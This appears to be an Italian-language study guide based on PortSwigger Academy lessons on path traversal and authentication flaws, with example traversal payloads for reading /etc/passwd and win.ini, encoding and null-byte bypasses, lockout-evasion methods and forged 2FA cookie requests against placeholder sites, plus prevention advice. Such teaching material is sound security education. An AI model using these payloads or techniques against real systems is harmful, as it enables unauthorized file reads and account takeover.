L’applicazione non implementa difese contro gli attacchi di directory traversal, quindi un utente malintenzionato può richiedere il seguente URL per recuperare un file arbitrario dal file system del server:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Ciò fa sì che l’applicazione legga dal seguente percorso di file:

/var/www/images/../../../etc/passwd

La sequenza ../ è valida all’interno di un percorso di file e significa salire di un livello nella struttura delle directory. Le tre sequenze ../ consecutive salgono da /var/www/images/ alla root del filesystem, e quindi il file che viene effettivamente letto è:

/etc/passwd

Sui sistemi operativi basati su Unix, questo è un file standard contenente i dettagli degli utenti registrati sul server.

Su Windows, sia ../ che ..\ sono sequenze di directory traversal valide e un attacco equivalente per recuperare un file del sistema operativo standard sarebbe:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

Lab: File path traversal, simple case

Ostacoli comuni allo sfruttamento delle vulnerabilità del file path traversal

Molte applicazioni che inseriscono l’input dell’utente nei percorsi dei file implementano una sorta di difesa contro gli attacchi di path traversal e questi possono spesso essere aggirati.

Se un’applicazione rimuove o blocca le sequenze di directory traversal dal nome file fornito dall’utente, potrebbe essere possibile aggirare la difesa utilizzando una varietà di tecniche.

Potresti essere in grado di utilizzare un percorso assoluto dalla radice del filesystem, come filename=/etc/passwd, per fare riferimento direttamente a un file senza utilizzare alcuna sequenza trasversale.

Lab: File path traversal, traversal sequences blocked with absolute path bypass

Potresti essere in grado di utilizzare sequenze di attraversamento nidificate, come ….// o ….\/, che torneranno a sequenze di attraversamento semplici quando la sequenza interna viene rimossa.

Lab: File path traversal, traversal sequences stripped non-recursively

In alcuni contesti, ad esempio in un percorso URL o nel parametro del filename di una richiesta multipart/form-data, i server Web potrebbero eliminare qualsiasi sequenza di attraversamento della directory prima di passare l’input all’applicazione. A volte è possibile ignorare questo tipo di sanificazione mediante la codifica dell’URL, o anche la doppia codifica dell’URL, i caratteri ../, risultando rispettivamente in %2e%2e%2f o %252e%252e%252f. Anche varie codifiche non standard, come ..%c0%af o ..%ef%bc%8f, possono funzionare allo stesso modo.

Per gli utenti di Burp Suite Professional, Burp Intruder fornisce un elenco di payload predefinito (Fuzzing – path traversal), che contiene una varietà di sequenze di percorso trasversale codificate che puoi provare.

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Se un’applicazione richiede che il nome file fornito dall’utente inizi con la cartella di base prevista, ad esempio /var/www/images, potrebbe essere possibile includere la cartella di base richiesta seguita da sequenze di attraversamento adeguate. Per esempio:

filename=/var/www/images/../../../etc/passwd

Lab: File path traversal, validation of start of path

Se un’applicazione richiede che il nome file fornito dall’utente termini con un’estensione di file prevista, ad esempio .png, potrebbe essere possibile utilizzare un byte null per terminare in modo efficace il percorso del file prima dell’estensione richiesta. Per esempio:

filename=../../../etc/passwd%00.png

Lab: File path traversal, validation of file extension with null byte bypass

Come prevenire un attacco directory traversal

Il modo più efficace per prevenire le vulnerabilità legate al file path traversal è evitare del tutto di passare l’input fornito dall’utente alle API del filesystem. Molte funzioni dell’applicazione che eseguono questa operazione possono essere riscritte per fornire lo stesso comportamento in modo più sicuro.

Se si ritiene inevitabile passare l’input fornito dall’utente alle API del filesystem, è necessario utilizzare insieme due livelli di difesa per prevenire gli attacchi:

  • L’applicazione dovrebbe convalidare l’input dell’utente prima di elaborarlo. Idealmente, la convalida dovrebbe essere confrontata con una whitelist di valori consentiti. Se ciò non è possibile per la funzionalità richiesta, la convalida dovrebbe verificare che l’input contenga solo contenuti consentiti, ad esempio caratteri puramente alfanumerici.
  • Dopo aver convalidato l’input fornito, l’applicazione dovrebbe aggiungere l’input alla directory di base e utilizzare un’API del file system della piattaforma per canonizzare il percorso. Dovrebbe verificare che il percorso canonizzato inizi con la directory di base prevista.

Di seguito è riportato un esempio di un semplice codice Java per convalidare il percorso canonico di un file in base all’input dell’utente:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
	// process file
}

Per saperne di più

Find directory traversal vulnerabilities using Burp Suite’s web vulnerability scanner

Authentication

PortSwigger Academy – Authentication

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

Authentication

Authentication vulnerabilities

Almeno concettualmente, le vulnerabilità dell’autenticazione sono alcuni dei problemi più semplici da comprendere. Tuttavia, possono essere tra i più critici a causa dell’ovvia relazione tra autenticazione e sicurezza. Oltre a consentire potenzialmente agli aggressori l’accesso diretto a dati e funzionalità sensibili, espongono anche una superficie di attacco aggiuntiva per ulteriori exploit. Per questo motivo, imparare a identificare e sfruttare le vulnerabilità di autenticazione, incluso come aggirare le comuni misure di protezione, è un’abilità fondamentale.

In questa sezione, esamineremo alcuni dei meccanismi di autenticazione più comuni utilizzati dai siti Web e discuteremo le potenziali vulnerabilità in essi. Evidenzieremo sia le vulnerabilità intrinseche nei diversi meccanismi di autenticazione, sia alcune vulnerabilità tipiche introdotte dalla loro implementazione impropria. Infine, forniremo alcune indicazioni di base su come garantire che i propri meccanismi di autenticazione siano il più solidi possibile.

Cos’è l’autenticazione?

L’autenticazione è il processo di verifica dell’identità di un determinato utente o client. In altre parole, implica assicurarsi che siano davvero chi affermano di essere. Almeno in parte, i siti Web sono esposti a chiunque sia connesso a Internet per progettazione. Pertanto, robusti meccanismi di autenticazione sono un aspetto integrante di un’efficace sicurezza web.

Esistono tre fattori di autenticazione in cui è possibile classificare diversi tipi di autenticazione:

  • Qualcosa che conosci, come una password o la risposta a una domanda di sicurezza. Questi sono a volte indicati come “fattori di conoscenza”.
  • Qualcosa che hai, cioè un oggetto fisico come un telefono cellulare o un token di sicurezza. Questi sono talvolta indicati come “fattori di possesso”.
  • Qualcosa che sei o fai, ad esempio, i tuoi dati biometrici o modelli di comportamento. Questi sono talvolta indicati come “fattori di inerenza”.

I meccanismi di autenticazione si basano su una gamma di tecnologie per verificare uno o più di questi fattori.

Qual è la differenza tra autenticazione e autorizzazione?

L’autenticazione è il processo di verifica che un utente sia veramente chi afferma di essere, mentre l’autorizzazione implica la verifica se un utente è autorizzato a fare qualcosa.

Nel contesto di un sito Web o di un’applicazione Web, l’autenticazione determina se qualcuno che tenta di accedere al sito con il nome utente Carlos123 è realmente la stessa persona che ha creato l’account.

Una volta che Carlos123 è stato autenticato, le sue autorizzazioni determinano se è autorizzato o meno, ad esempio, ad accedere alle informazioni personali su altri utenti o eseguire azioni come l’eliminazione dell’account di un altro utente.

Come nascono le vulnerabilità di autenticazione?

In generale, la maggior parte delle vulnerabilità nei meccanismi di autenticazione si presenta in due modi:

  • I meccanismi di autenticazione sono deboli perché non riescono a proteggere adeguatamente dagli attacchi di forza bruta.
  • I difetti logici o la scarsa codifica nell’implementazione consentono a un utente malintenzionato di aggirare completamente i meccanismi di autenticazione. Questo è talvolta indicato come “autenticazione interrotta”.

In molte aree dello sviluppo web, i difetti logici (logic flaws) causeranno semplicemente un comportamento imprevisto del sito Web, il che potrebbe rappresentare o meno un problema di sicurezza. Tuttavia, poiché l’autenticazione è fondamentale per la sicurezza, la probabilità che una logica di autenticazione errata esponga il sito Web a problemi di sicurezza è chiaramente elevata.

Qual è l’impatto dell’autenticazione vulnerabile?

L’impatto delle vulnerabilità di autenticazione può essere molto grave. Una volta che un utente malintenzionato ha aggirato l’autenticazione o si è introdotto con la forza bruta nell’account di un altro utente, ha accesso a tutti i dati e le funzionalità dell’account compromesso. Se sono in grado di compromettere un account con privilegi elevati, come un amministratore di sistema, potrebbero assumere il pieno controllo dell’intera applicazione e potenzialmente ottenere l’accesso all’infrastruttura interna.

Anche la compromissione di un account con privilegi limitati potrebbe comunque concedere a un utente malintenzionato l’accesso a dati che altrimenti non dovrebbe avere, come informazioni aziendali sensibili dal punto di vista commerciale. Anche se l’account non ha accesso a dati sensibili, potrebbe comunque consentire all’attaccante di accedere a pagine aggiuntive, che forniscono un’ulteriore superficie di attacco. Spesso, alcuni attacchi ad alta gravità non saranno possibili da pagine accessibili pubblicamente, ma potrebbero essere possibili da una pagina interna.

Vulnerabilità nei meccanismi di autenticazione

Il sistema di autenticazione di un sito Web è generalmente costituito da diversi meccanismi distinti in cui possono verificarsi vulnerabilità. Alcune vulnerabilità sono ampiamente applicabili in tutti questi contesti, mentre altre sono più specifiche per la funzionalità fornita.

Esamineremo più da vicino alcune delle vulnerabilità più comuni nelle seguenti aree:

Si noti che molti dei laboratori richiedono di enumerare nomi utente e password di forza bruta. Per venirci in aiuto, “PortSwigger Academy” fornisce un elenco di usernames e passwords da utilizzare per risolvere i lab.

Vulnerabilità nei meccanismi di autenticazione di terze parti

Se si è interessati ai meccanismi di autenticazione,“PortSwigger Academy” consiglia, dopo aver completato i principali laboratori di autenticazione, di provare ad affrontare i loro laboratori di autenticazione OAuth.

Per saperne di più

OAuth authentication

Prevenzione degli attacchi ai propri meccanismi di autenticazione

Abbiamo dimostrato diversi modi in cui i siti Web possono essere vulnerabili a causa del modo in cui implementano l’autenticazione. Per ridurre il rischio di tali attacchi sui propri siti web, ci sono diversi principi generali che dovresti sempre cercare di seguire.

Per saperne di più

How to secure your authentication mechanisms

(torna su)

Vulnerabilità nell’accesso basato su password

In questa sezione esamineremo più da vicino alcune delle vulnerabilità più comuni che si verificano nei meccanismi di accesso basati su password. Suggeriremo anche modi in cui questi possono essere potenzialmente sfruttati. Ci sono anche alcuni laboratori interattivi in ​​modo da esercitarsi sullo sfruttamento di tali vulnerabilità.

Per i siti Web che adottano un processo di accesso basato su password, gli utenti si registrano per un account da soli o ricevono un account da un amministratore. Questo account è associato a un nome utente univoco e una password segreta, che l’utente inserisce in un modulo di accesso per autenticarsi.

In questo scenario, il semplice fatto di conoscere la password segreta è considerato una prova sufficiente dell’identità dell’utente. Di conseguenza, la sicurezza del sito web verrebbe compromessa se un utente malintenzionato fosse in grado di ottenere o indovinare le credenziali di accesso di un altro utente.

Ciò può essere ottenuto in vari modi, come esploreremo di seguito.

Attacchi di forza bruta

Un attacco di forza bruta si verifica quando un utente malintenzionato utilizza un sistema di tentativi ed errori nel tentativo di indovinare credenziali utente valide. Questi attacchi sono in genere automatizzati utilizzando elenchi di parole di nomi utente e password. L’automazione di questo processo, in particolare utilizzando strumenti dedicati, consente potenzialmente a un utente malintenzionato di effettuare un numero elevato di tentativi di accesso ad alta velocità.

La forzatura bruta non è sempre solo un caso di ipotesi completamente casuali su nomi utente e password. Utilizzando anche la logica di base o le conoscenze pubblicamente disponibili, gli aggressori possono perfezionare gli attacchi di forza bruta per fare ipotesi molto più plausibili. Ciò aumenta notevolmente l’efficienza di tali attacchi. I siti Web che si basano sull’accesso basato su password come unico metodo di autenticazione degli utenti possono essere altamente vulnerabili se non implementano una protezione di forza bruta sufficiente.

Brute-forcing usernames

I nomi utente sono particolarmente facili da indovinare se sono conformi a uno schema riconoscibile, come un indirizzo e-mail. Ad esempio, è molto comune vedere gli accessi aziendali nel formato nome.cognome@società.com. Tuttavia, anche se non esiste uno schema ovvio, a volte vengono creati anche account con privilegi elevati utilizzando nomi utente prevedibili, come admin o administrator.

Durante l’audit, controlla se il sito web rivela pubblicamente potenziali nomi utente. Ad esempio, sei in grado di accedere ai profili utente senza effettuare il login? Anche se il contenuto effettivo dei profili è nascosto, il nome utilizzato nel profilo a volte è uguale al nome utente di accesso. Dovresti anche controllare le risposte HTTP per vedere se sono stati divulgati indirizzi email. Occasionalmente, le risposte contengono indirizzi e-mail di utenti con privilegi elevati come amministratori e supporto IT.

Brute-forcing passwords

Allo stesso modo, le password possono subire attacchi a forza bruta, con difficoltà che variano in base alla forza della password. Molti siti Web adottano una qualche forma di politica delle password, che costringe gli utenti a creare password ad alta entropia che, almeno in teoria, sono più difficili da decifrare utilizzando la sola forza bruta. Ciò comporta in genere l’applicazione delle password con:

  • Un numero minimo di caratteri
  • Un misto di lettere minuscole e maiuscole
  • Almeno un carattere speciale

Tuttavia, mentre le password ad alta entropia sono difficili da decifrare solo per i computer, possiamo utilizzare una conoscenza di base del comportamento umano per sfruttare le vulnerabilità che gli utenti introducono inconsapevolmente a questo sistema. Invece di creare una password complessa con una combinazione casuale di caratteri, gli utenti spesso prendono una password che possono ricordare e cercano di forzarla affinché si adatti alla politica della password. Ad esempio, se mypassword non è consentito, gli utenti possono provare qualcosa come Mypassword1! o invece Myp4$$w0rd.

Nei casi in cui la politica richiede agli utenti di modificare regolarmente le proprie password, è anche normale che gli utenti apportino solo modifiche minori e prevedibili alla propria password preferita. Ad esempio, Miapassword1! diventa Miapassword1? o Miapassword2!.

Questa conoscenza delle credenziali probabili e dei modelli prevedibili significa che gli attacchi di forza bruta possono spesso essere molto più sofisticati, e quindi efficaci, rispetto alla semplice ripetizione di ogni possibile combinazione di caratteri.

Username enumeration

L’enumerazione del nome utente è quando un utente malintenzionato è in grado di osservare i cambiamenti nel comportamento del sito Web per identificare se un determinato nome utente è valido.

L’enumerazione del nome utente in genere si verifica nella pagina di accesso, ad esempio, quando si immette un nome utente valido ma una password errata, oppure nei moduli di registrazione quando si immette un nome utente già utilizzato. Ciò riduce notevolmente il tempo e lo sforzo necessari per forzare un accesso in quanto l’attaccante è in grado di generare rapidamente un elenco ristretto di nomi utente validi.

Durante il tentativo di applicare la forza bruta a una pagina di accesso, dovresti prestare particolare attenzione a eventuali differenze in:

  • Codici di stato: durante un attacco di forza bruta, è probabile che il codice di stato HTTP restituito sia lo stesso per la stragrande maggioranza delle ipotesi perché la maggior parte di esse sarà sbagliata. Se un’ipotesi restituisce un codice di stato diverso, questa è una forte indicazione che il nome utente era corretto. È consigliabile che i siti web restituiscano sempre lo stesso codice di stato indipendentemente dal risultato, ma questa pratica non viene sempre seguita.
  • Messaggi di errore: a volte il messaggio di errore restituito è diverso a seconda che sia il nome utente che la password siano errati o solo la password sia errata. È buona prassi che i siti Web utilizzino messaggi generici identici in entrambi i casi, ma a volte si insinuano piccoli errori di battitura. Un solo carattere fuori posto distingue i due messaggi, anche nei casi in cui il carattere non è visibile sulla pagina visualizzata.
  • Tempi di risposta: se la maggior parte delle richieste è stata gestita con un tempo di risposta simile, tutte quelle che si discostano da questo suggeriscono che dietro le quinte stava accadendo qualcosa di diverso. Questa è un’altra indicazione che il nome utente indovinato potrebbe essere corretto. Ad esempio, un sito Web potrebbe verificare solo se la password è corretta se il nome utente è valido. Questo passaggio aggiuntivo potrebbe causare un leggero aumento del tempo di risposta. Questo può essere sottile, ma un utente malintenzionato può rendere questo ritardo più evidente inserendo una password eccessivamente lunga che il sito web richiede molto più tempo per essere gestita.

Lab: Username enumeration via different responses

Lab: Username enumeration via subtly different responses

Lab: Username enumeration via response timing

Protezione dalla forza bruta imperfetta

È molto probabile che un attacco di forza bruta comporti molte ipotesi fallite prima che l’aggressore comprometta con successo un account. Logicamente, la protezione dalla forza bruta ruota attorno al tentativo di rendere il più complicato possibile l’automazione del processo e rallentare la velocità con cui un utente malintenzionato può tentare l’accesso. I due modi più comuni per prevenire gli attacchi di forza bruta sono:

  • bloccare l’account a cui l’utente remoto sta tentando di accedere se effettua troppi tentativi di accesso non riusciti;
  • bloccare l’indirizzo IP dell’utente remoto se effettua troppi tentativi di accesso in rapida successione.

Entrambi gli approcci offrono diversi gradi di protezione, ma nessuno dei due è invulnerabile, soprattutto se implementato utilizzando una logica errata.

Ad esempio, a volte potresti scoprire che il tuo IP viene bloccato se non riesci ad accedere troppe volte. In alcune implementazioni, il contatore del numero di tentativi falliti si reimposta se il proprietario IP accede correttamente. Ciò significa che un utente malintenzionato dovrebbe semplicemente accedere al proprio account ogni pochi tentativi per impedire che questo limite venga raggiunto.

In questo caso, è sufficiente includere semplicemente le proprie credenziali di accesso a intervalli regolari nell’elenco delle parole per rendere questa difesa praticamente inutile.

Lab: Broken brute-force protection, IP block

Blocco dell’account

Un modo in cui i siti Web tentano di prevenire la forzatura bruta è bloccare l’account se vengono soddisfatti determinati criteri sospetti, in genere un determinato numero di tentativi di accesso non riusciti. Proprio come con i normali errori di accesso, anche le risposte del server che indicano che un account è bloccato possono aiutare un utente malintenzionato a enumerare i nomi utente.

Lab: Username enumeration via account lock

Il blocco di un account offre una certa protezione contro la forzatura bruta mirata a un account specifico. Tuttavia, questo approccio non riesce a prevenire adeguatamente gli attacchi di forza bruta in cui l’aggressore tenta semplicemente di accedere a qualsiasi account casuale possibile.

Ad esempio, è possibile utilizzare il seguente metodo per aggirare questo tipo di protezione:

  1. Stabilire un elenco di nomi utente candidati che potrebbero essere validi. Ciò potrebbe avvenire tramite l’enumerazione dei nomi utente o semplicemente in base a un elenco di nomi utente comuni.
  2. Decidi un elenco molto ristretto di password che ritieni possa avere almeno un utente. Fondamentalmente, il numero di password selezionate non deve superare il numero di tentativi di accesso consentiti. Ad esempio, se hai calcolato che il limite è di 3 tentativi, devi scegliere un massimo di 3 tentativi di password.
  3. Utilizzando uno strumento come Burp Intruder, prova ciascuna delle password selezionate con ciascuno dei nomi utente candidati. In questo modo, puoi tentare di forzare ogni account senza attivare il blocco dell’account. È necessario che un singolo utente utilizzi una delle tre password per compromettere un account.

Inoltre, il blocco degli account non protegge dagli attacchi di credential stuffing. Ciò comporta l’utilizzo di un enorme dizionario di coppie nome utente: password, composto da credenziali di accesso autentiche rubate durante le violazioni dei dati. Il credential stuffing si basa sul fatto che molte persone riutilizzano lo stesso nome utente e la stessa password su più siti Web e, pertanto, esiste la possibilità che alcune delle credenziali compromesse nel dizionario siano valide anche sul sito Web di destinazione. Il blocco dell’account non protegge dal credential stuffing perché ciascun nome utente viene tentato una sola volta. Il credential stuffing è particolarmente pericoloso perché a volte può portare l’aggressore a compromettere molti account diversi con un solo attacco automatizzato.

User rate limiting

Un altro modo in cui i siti Web cercano di prevenire gli attacchi di forza bruta è attraverso la limitazione della frequenza degli utenti. In questo caso, effettuare troppe richieste di accesso in un breve periodo di tempo causa il blocco del tuo indirizzo IP. In genere, l’IP può essere sbloccato solo in uno dei seguenti modi:

  • automaticamente dopo che è trascorso un certo periodo di tempo;
  • manualmente da un amministratore;
  • manualmente dall’utente dopo aver completato con successo un CAPTCHA.

La limitazione della frequenza degli utenti è talvolta preferita al blocco dell’account poiché è meno incline all’enumerazione dei nomi utente e agli attacchi di negazione del servizio. Tuttavia, non è ancora completamente sicuro. Come abbiamo visto in un esempio in un laboratorio precedente, esistono diversi modi in cui un utente malintenzionato può manipolare il proprio IP apparente per aggirare il blocco.

Poiché il limite si basa sulla frequenza delle richieste HTTP inviate dall’indirizzo IP dell’utente, a volte è anche possibile aggirare questa difesa se si riesce a indovinare più password con una singola richiesta.

Lab: Broken brute-force protection, multiple credentials per request

Autenticazione di base HTTP

Sebbene sia piuttosto vecchio, la sua relativa semplicità e facilità di implementazione significa che a volte potresti vedere utilizzata l’autenticazione di base HTTP. Nell’autenticazione di base HTTP, il client riceve un token di autenticazione dal server, che viene costruito concatenando nome utente e password e codificandolo in Base64. Questo token viene memorizzato e gestito dal browser, che lo aggiunge automaticamente all’intestazione Authorization di ogni richiesta successiva come segue:

Authorization: Basic base64(username:password)

Per una serie di motivi, questo non è generalmente considerato un metodo di autenticazione sicuro. Innanzitutto, comporta l’invio ripetuto delle credenziali di accesso dell’utente ad ogni richiesta. A meno che il sito Web non implementi anche l’HSTS, le credenziali dell’utente possono essere catturate in un attacco man-in-the-middle.

Inoltre, le implementazioni dell’autenticazione di base HTTP spesso non supportano la protezione dalla forza bruta. Poiché il token è costituito esclusivamente da valori statici, ciò può renderlo vulnerabile alla forza bruta.

L’autenticazione di base HTTP è inoltre particolarmente vulnerabile agli exploit legati alla sessione, in particolare CSRF, contro i quali non offre di per sé alcuna protezione.

In alcuni casi, lo sfruttamento dell’autenticazione di base HTTP vulnerabile potrebbe garantire a un utente malintenzionato solo l’accesso a una pagina apparentemente poco interessante. Tuttavia, oltre a fornire un’ulteriore superficie di attacco, le credenziali esposte in questo modo potrebbero essere riutilizzate in altri contesti più riservati.

(torna su)

Vulnerabilità nell’autenticazione a più fattori

In questa sezione esamineremo alcune delle vulnerabilità che possono verificarsi nei meccanismi di autenticazione a più fattori. Ci sono anche diversi laboratori interattivi per dimostrare come sfruttare queste vulnerabilità nell’autenticazione a più fattori.

Molti siti Web si affidano esclusivamente all’autenticazione a fattore singolo utilizzando una password per autenticare gli utenti. Tuttavia, alcuni richiedono agli utenti di dimostrare la propria identità utilizzando più fattori di autenticazione.

La verifica dei fattori biometrici non è pratica per la maggior parte dei siti web. Tuttavia, è sempre più comune vedere l’autenticazione a due fattori (2FA) sia obbligatoria che facoltativa basata su qualcosa che conosci e qualcosa che possiedi. Ciò di solito richiede agli utenti di inserire sia una password tradizionale che un codice di verifica temporaneo da un dispositivo fisico fuori banda in loro possesso.

Token di autenticazione a due fattori

I codici di verifica vengono solitamente letti dall’utente da un dispositivo fisico di qualche tipo. Molti siti Web ad alta sicurezza ora forniscono agli utenti un dispositivo dedicato a questo scopo, come il token RSA o il dispositivo con tastiera utilizzato per accedere al servizio bancario online o al laptop di lavoro. Oltre ad essere realizzati appositamente per la sicurezza, questi dispositivi dedicati hanno anche il vantaggio di generare direttamente il codice di verifica. È anche comune che i siti Web utilizzino un’app mobile dedicata, come Google Authenticator, per lo stesso motivo.

Alcuni siti web, invece, inviano i codici di verifica al cellulare dell’utente sotto forma di messaggio di testo. Anche se tecnicamente questo sta ancora verificando il fattore “qualcosa che hai”, è aperto ad abusi. Innanzitutto, il codice viene trasmesso tramite SMS anziché essere generato dal dispositivo stesso. Ciò crea la possibilità che il codice venga intercettato. Esiste anche il rischio di SIM Swapping, per cui l’aggressore si procura in modo fraudolento una carta SIM con il numero di telefono della vittima. L’aggressore riceverebbe quindi tutti i messaggi SMS inviati alla vittima, compreso quello contenente il codice di verifica.

Bypassare l’autenticazione a due fattori

A volte, l’implementazione dell’autenticazione a due fattori è viziata al punto che può essere completamente aggirata.

Se all’utente viene prima richiesto di inserire una password e poi un codice di verifica in una pagina separata, l’utente si trova effettivamente in uno stato di “accesso” prima di aver inserito il codice di verifica. In questo caso, vale la pena verificare se è possibile passare direttamente alle pagine “solo loggato” dopo aver completato il primo passaggio di autenticazione. Occasionalmente, scoprirai che un sito Web in realtà non controlla se hai completato o meno il secondo passaggio prima di caricare la pagina.

Lab: 2FA simple bypass

Logica di verifica a due fattori difettosa

La logica difettosa nell’autenticazione a due fattori significa che dopo che un utente ha completato il passaggio iniziale di accesso, il sito Web non verifica adeguatamente che lo stesso utente stia completando il secondo passaggio.

Ad esempio, l’utente accede con le normali credenziali nel primo passaggio come segue:

POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty

Gli viene quindi assegnato un cookie relativo all’account, prima di essere portato alla seconda fase del processo di accesso:

HTTP/1.1 200 OK
Set-Cookie: account=carlos

GET /login-steps/second HTTP/1.1
Cookie: account=carlos

Quando si invia il codice di verifica, la richiesta utilizza questo cookie per determinare a quale account l’utente sta tentando di accedere:

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456

n questo caso, un utente malintenzionato potrebbe accedere utilizzando le proprie credenziali, ma poi modificare il valore del cookie dell’account con qualsiasi nome utente arbitrario quando invia il codice di verifica.

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456

Ciò è estremamente pericoloso se l’aggressore è in grado di forzare il codice di verifica in quanto gli consentirebbe di accedere ad account di utenti arbitrari basati interamente sul loro nome utente. Non avrebbero nemmeno bisogno di conoscere la password dell’utente.

Lab: 2FA broken logic

Brute-forcing codici di verifica 2FA

Come per le password, i siti web devono adottare misure per impedire la forzatura bruta del codice di verifica 2FA. Ciò è particolarmente importante perché il codice è spesso un semplice numero di 4 o 6 cifre. Senza un’adeguata protezione dalla forza bruta, decifrare un codice del genere è banale.
Alcuni siti Web tentano di impedire ciò disconnettendo automaticamente un utente se inserisce un certo numero di codici di verifica errati. Ciò è inefficace nella pratica perché un utente malintenzionato avanzato può persino automatizzare questo processo in più fasi creando macro per Burp Intruder. A questo scopo è possibile utilizzare anche l’estensione Turbo Intruder.

Lab: 2FA bypass using a brute-force attack

(torna su)

Vulnerabilità in altri meccanismi di autenticazione

In questa sezione esamineremo alcune delle funzionalità supplementari correlate all’autenticazione e dimostreremo come queste possano essere vulnerabili. Vi sono anche diversi laboratori interattivi che possono essere utilizzati per mettere in pratica l’argomento.

Oltre alla funzionalità di accesso di base, la maggior parte dei siti Web fornisce funzionalità supplementari per consentire agli utenti di gestire il proprio account. Ad esempio, gli utenti in genere possono modificare la propria password o reimpostarla quando la dimenticano. Questi meccanismi possono anche introdurre vulnerabilità che possono essere sfruttate da un utente malintenzionato.

I siti web di solito fanno attenzione a evitare vulnerabilità ben note nelle loro pagine di accesso. Ma è facile trascurare il fatto che è necessario adottare misure simili per garantire che le funzionalità correlate siano altrettanto robuste. Ciò è particolarmente importante nei casi in cui un utente malintenzionato è in grado di creare il proprio account e, di conseguenza, ha un facile accesso per studiare queste pagine aggiuntive.

Mantenere gli utenti connessi

Una caratteristica comune è la possibilità di rimanere connesso anche dopo aver chiuso una sessione del browser. Di solito si tratta di una semplice casella etichettata come “Ricordami” o “Resta connesso”.

Questa funzionalità viene spesso implementata generando un token “ricordami” di qualche tipo, che viene quindi archiviato in un cookie persistente. Poiché il possesso di questo cookie consente effettivamente di bypassare l’intero processo di accesso, è buona norma che questo cookie sia poco pratico da indovinare. Tuttavia, alcuni siti Web generano questo cookie in base a una concatenazione prevedibile di valori statici, come il nome utente e un timestamp. Alcuni addirittura utilizzano la password come parte del cookie. Questo approccio è particolarmente pericoloso se un utente malintenzionato è in grado di creare il proprio account perché può studiare il proprio cookie e potenzialmente dedurre come viene generato. Una volta elaborata la formula, possono provare a forzare i cookie di altri utenti per ottenere l’accesso ai loro account.

Alcuni siti Web presumono che se il cookie è crittografato in qualche modo non sarà individuabile anche se utilizza valori statici. Sebbene ciò possa essere vero se eseguito correttamente, la “crittografia” ingenua del cookie utilizzando una semplice codifica bidirezionale come Base64 non offre alcuna protezione di sorta. Anche l’utilizzo di una crittografia adeguata con una funzione hash unidirezionale non è completamente a prova di bomba. Se l’aggressore è in grado di identificare facilmente l’algoritmo di hashing e non viene utilizzato alcun salt, può potenzialmente forzare il cookie semplicemente eseguendo l’hashing dei propri elenchi di parole. Questo metodo può essere utilizzato per aggirare i limiti dei tentativi di accesso se un limite simile non viene applicato alle ipotesi sui cookie.

Lab: Brute-forcing a stay-logged-in cookie

Anche se l’aggressore non è in grado di creare il proprio account, potrebbe comunque riuscire a sfruttare questa vulnerabilità. Utilizzando le tecniche consuete, come XSS, un utente malintenzionato potrebbe rubare il cookie “ricordami” di un altro utente e dedurre da quello come è costruito il cookie. Se il sito web è stato creato utilizzando un framework open source, i dettagli chiave della costruzione dei cookie potrebbero anche essere documentati pubblicamente.

In alcuni rari casi, potrebbe essere possibile ottenere la password effettiva di un utente in chiaro da un cookie, anche se è sottoposta ad hashing. Online sono disponibili versioni con hash di elenchi di password noti, quindi se la password dell’utente appare in uno di questi elenchi, decodificare l’hash a volte può essere banale come semplicemente incollarlo in un motore di ricerca. Ciò dimostra l’importanza del salt in una crittografia efficace.

Lab: Offline password cracking

Reimpostazione delle password degli utenti

In pratica, è un dato di fatto che alcuni utenti dimenticheranno la propria password, quindi è normale avere un modo per reimpostarla. Poiché in questo scenario la consueta autenticazione basata su password è ovviamente impossibile, i siti Web devono fare affidamento su metodi alternativi per assicurarsi che l’utente reale reimposti la propria password. Per questo motivo, la funzionalità di reimpostazione della password è intrinsecamente pericolosa e deve essere implementata in modo sicuro.

Esistono diversi modi in cui questa funzionalità viene comunemente implementata, con diversi gradi di vulnerabilità.

Invio password tramite e-mail

Dovrebbe essere ovvio che inviare agli utenti la loro password attuale non dovrebbe mai essere possibile se un sito web gestisce le password in modo sicuro. Alcuni siti Web generano invece una nuova password e la inviano all’utente tramite e-mail.

In generale è da evitare l’invio di password persistenti su canali non sicuri. In questo caso, la sicurezza si basa sulla scadenza della password generata dopo un periodo molto breve o sulla modifica immediata della password da parte dell’utente. Altrimenti, questo approccio è altamente suscettibile agli attacchi man-in-the-middle.

Anche la posta elettronica non è generalmente considerata sicura dato che le caselle di posta sono persistenti e non realmente progettate per l’archiviazione sicura di informazioni riservate. Molti utenti inoltre sincronizzano automaticamente la propria casella di posta tra più dispositivi attraverso canali non sicuri.

Reimpostazione delle password utilizzando un URL

Un metodo più efficace per reimpostare le password consiste nell’inviare agli utenti un URL univoco che li indirizzi a una pagina di reimpostazione della password. Le implementazioni meno sicure di questo metodo utilizzano un URL con un parametro facilmente indovinabile per identificare quale account viene reimpostato, ad esempio: 

http://vulnerable-website.com/reset-password?user=victim-user

In questo esempio, un utente malintenzionato potrebbe modificare il parametro utente per fare riferimento a qualsiasi nome utente identificato. Verrebbero quindi indirizzati direttamente a una pagina in cui possono potenzialmente impostare una nuova password per questo utente arbitrario.

Un’implementazione migliore di questo processo consiste nel generare un token ad alta entropia difficile da indovinare e creare l’URL di reimpostazione basato su quello. Nella migliore delle ipotesi, questo URL non dovrebbe fornire suggerimenti su quale password dell’utente viene reimpostata.

http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

Quando l’utente visita questo URL, il sistema dovrebbe verificare se questo token esiste sul back-end e, in tal caso, quale password dell’utente deve reimpostare. Questo token dovrebbe scadere dopo un breve periodo di tempo ed essere distrutto immediatamente dopo la reimpostazione della password.

Tuttavia, alcuni siti Web non riescono a convalidare nuovamente il token quando viene inviato il modulo di reimpostazione. In questo caso, un utente malintenzionato potrebbe semplicemente visitare il modulo di reimpostazione dal proprio account, eliminare il token e sfruttare questa pagina per reimpostare la password di un utente arbitrario.

Lab: Password reset broken logic

